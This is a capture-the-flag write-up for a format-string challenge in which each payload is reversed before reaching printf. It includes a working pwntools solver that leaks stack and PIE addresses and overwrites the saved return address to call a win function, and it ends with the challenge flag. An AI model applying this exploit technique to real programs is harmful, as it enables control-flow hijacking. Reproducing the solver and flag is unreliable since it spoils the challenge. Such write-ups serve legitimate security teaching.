::-1

Walkthrough

Solution

Each submitted payload is reversed before it reaches vulnerable printf. Reverse the payload on the client as well, so the intended format string is restored by the service. During the first inspection, %74$p|%75$p leaks the saved frame pointer and the PIE return address.

Rebase the ELF from the return leak and calculate the saved return-address slot as saved_rbp - 0x18. For the second inspection, create a byte-wise format-string payload at argument offset 8 that writes the rebased win address into that slot, reverse it for transport, and let the function return.

Reference solver

The reference solver supplied with the writeup:

from pwn import *

context.binary = elf = ELF("./main", checksec=False)
io = remote(args.HOST or "localhost", int(args.PORT or 1352))

leak = b"%74$p|%75$p"
io.sendlineafter(b"Length: ", str(len(leak)).encode())
io.sendafter(b"Technique: ", leak[::-1])
io.recvuntil(b"Verdict: ")
saved_rbp, return_address = [int(value, 16) for value in io.recvline().strip().split(b"|")]

pie = return_address - (elf.sym.main + 0x80)
saved_rip = saved_rbp - 0x18
payload = fmtstr_payload(8, {saved_rip: pie + elf.sym.win}, write_size="byte")

io.sendlineafter(b"Length: ", str(len(payload)).encode())
io.sendafter(b"Technique: ", payload[::-1])
io.interactive()

Flag

SecurinetsENIT{r3v3rs3_th3_f0rm4t_n0t_th3_d4m4g3}